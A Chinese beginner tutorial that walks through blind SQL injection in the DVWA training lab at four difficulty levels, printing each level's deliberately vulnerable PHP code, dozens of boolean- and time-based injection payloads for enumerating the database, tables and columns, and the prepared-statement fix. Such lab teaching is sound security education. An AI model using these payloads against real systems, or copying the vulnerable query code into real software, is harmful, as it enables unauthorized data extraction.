新手教程-DVWA全級別教程之SQL Injection(blind)

系統環境

因為網上關于dvwa的相關資料都比較舊,所以想重新過一邊dvwa的各個類型的漏洞,順帶初步入門php代碼審計相關的知識。環境安裝可以直接參照網上教程新手指南:手把手教你如何搭建自己的滲透測試環境,已經寫的非常詳細,可以直接按照教程一步步安裝。

SQL Injection(Blind)簡介

盲注,與一般的注入區別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度比一般的注入高,目前網絡上現存的SQL注入漏洞大多數是SQL盲注。

手工盲注思路

手工盲注的過程,就像你跟一個機器人聊天一樣,這個機器人知道的很多,但是只會回答“是”或者“不是”,因此你需要詢問的問題,例如“數據庫名字的第一個字母是不是a啊”,通過這種機械的詢問,最終獲得你想要的數據。
盲注分為基于布爾的盲注,基于時間的盲注以及基于錯誤的盲注,這里由于實驗環境的限制所以只展示基于布爾的盲注和基于時間的盲注。
下面要介紹手工盲注的步驟(可與之前的手工注入做比較)
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫的表名
4.猜解表中的字段名
5.猜解數據
接下來對4個級別的代碼進行分析

Low級別服務器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

low級別的代碼堵參數id沒有做任何檢查,過濾,存在明顯的sql注入漏洞,同時SQL語句查詢返回的結果只有兩種
User ID exists in the database.

User ID is MISSING from the database.
因此這里是SQL盲注漏洞。
漏洞利用
首先是基于布爾的盲注:
1.判斷是否存在注入,注入是字符型還是數字型
輸入1,顯示相應用戶的存在:


image.png

輸入1' and 1=1 #,顯示存在;


image.png

輸入1' and 1=2 #,顯示不存在;
image.png

說明存在字符型注入
2.猜解當前數據庫名
想要猜解數據庫名,首先要猜解數據庫名的長度,然后在挨個猜解字符
輸入1' and length(database())=1 #,顯示不存在
輸入1' and length(database())=2 #,顯示不存在
輸入1' and length(database())=3 #,顯示不存在
輸入1' and length(database())=4 #,顯示存在
說明數據庫名的長度為4.

下面采用二分法猜解數據庫名稱
輸入1' and ascii(substr(database(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii碼大于97(小寫字母a的ascii碼值);
輸入1' and ascii(substr(database(),1,1))>122 #,顯示不存在,說明數據庫名的第一個字符的ascii碼大于122(小寫字母z的ascii碼值);
輸入1' and ascii(substr(database(),1,1))>109 #,顯示不存在,說明數據庫名的第一個字符的ascii碼大于109(小寫字母m的ascii碼值);
輸入1' and ascii(substr(database(),1,1))>100 #,顯示不存在,說明數據庫名的第一個字符的ascii碼大于100(小寫字母e的ascii碼值);
輸入1' and ascii(substr(database(),1,1))<100 #,顯示不存在,說明數據庫名的第一個字符的ascii碼大于100(小寫字母d的ascii碼值);,所以數據庫的第一個字符的ascii值為100,即小寫字母d。
重復以上步驟,就可以猜解處完整的數據庫名(dvwa)了。
3.猜解數據庫中的表名
首先猜解數據庫中表的數量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #顯示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #顯示存在
說明數據庫中有兩個表。
接下里挨個猜表名
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1'and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度為9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明表的第一個字母為g
....
重復上述步驟,即可猜解處兩個表名guestbook/users
4.猜解表中的字段值
首先猜解字段值的數量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 顯示不存在

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 顯示存在
說明users表有8個字段。
接著挨個猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個字段為7個字符長度。
采用二分法,即可猜解出所有字段名。
5.猜解數據
同樣采用二分法,還可以采用基于時間的盲注
1.判斷是否存在注入,注入是字符型還是數字型
輸入1’ and sleep(5) #,感覺到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;
說明存在字符型的基于時間的盲注。
2.猜解當前數據庫名
首先猜解數據名的長度:
1’ and if(length(database())=1,sleep(5),1) # 沒有延遲
1’ and if(length(database())=2,sleep(5),1) # 沒有延遲
1’ and if(length(database())=3,sleep(5),1) # 沒有延遲
1’ and if(length(database())=4,sleep(5),1) # 明顯延遲
說明數據庫名長度為4個字符。
接著采用二分法猜解數據庫名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲
說明數據庫名的第一個字符為小寫字母d。

重復上述步驟,即可猜解出數據庫名。
3.猜解數據庫中的表名
首先猜解數據庫中表的數量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲
說明數據庫中有兩個表。
接著挨個猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲
說明第一個表名的長度為9個字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的數量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲
說明users表中有8個字段。
接著挨個猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲
說明users表的第一個字段長度為7個字符。
采用二分法即可猜解出各個字段名。
5.猜解數據
同樣采用二分法。

Medium服務端核心代碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數id,提交惡意構造的查詢參數。
之前已經介紹了詳細的盲注流程,這里就簡要演示幾個。
首先是基于布爾的盲注:
抓包改參數id為1 and length(database())=4 #,顯示存在,說明數據庫名的長度為4個字符;
抓包改參數id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度為9個字符;
抓包改參數id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進制),顯示存在,說明uers表有8個字段。
然后是基于時間的盲注:
抓包改參數id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明數據庫名的長度為4個字符;
抓包改參數id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明數據中的第一個表名長度為9個字符;
抓包改參數id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個字段。

High服務端核心代碼

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基于時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
漏洞利用
雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。但由于服務器端執行sleep函數,會使得基于時間盲注的準確性受到影響,這里我們只演示基于布爾的盲注:
抓包將cookie中參數id改為1’ and length(database())=4 #,顯示存在,說明數據庫名的長度為4個字符;
抓包將cookie中參數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度為9個字符;
抓包將cookie中參數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進制),顯示存在,說明uers表有8個字段。

Impossible服務端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,Impossible級別的代碼采用了PDO技術,劃清了代碼與數據的界限,有效防御SQL注入,Anti-CSRF token機制的加入了進一步提高了安全性。

參考文檔

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,431評論 6 544
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,637評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,555評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,900評論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,629評論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,976評論 1 328
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,976評論 3 448
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,139評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,686評論 1 336
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,411評論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,641評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,129評論 5 364
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,820評論 3 350
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,233評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,567評論 1 295
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,362評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,604評論 2 380

推薦閱讀更多精彩內容

  • ————SQL Injection——(Blind)—— SQL Injection(Blind),即SQL盲注,...
    網絡安全自修室閱讀 609評論 0 2
  • SQL盲注,與一般注入的區別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法...
    牙疼吃糖閱讀 1,686評論 1 5
  • pyspark.sql模塊 模塊上下文 Spark SQL和DataFrames的重要類: pyspark.sql...
    mpro閱讀 9,486評論 0 13
  • web應用程序會對用戶的輸入進行驗證,過濾其中的一些關鍵字,這種過濾我們可以試著用下面的方法避開。 1、 不使用被...
    查無此人asdasd閱讀 7,315評論 0 5
  • 情感是人世間最真摯、最美好的東西,正是因為有了純潔的師生情,才使得教育活動能收到春風化雨、潤物無聲的效果。“沒有...
    連荷花閱讀 451評論 5 6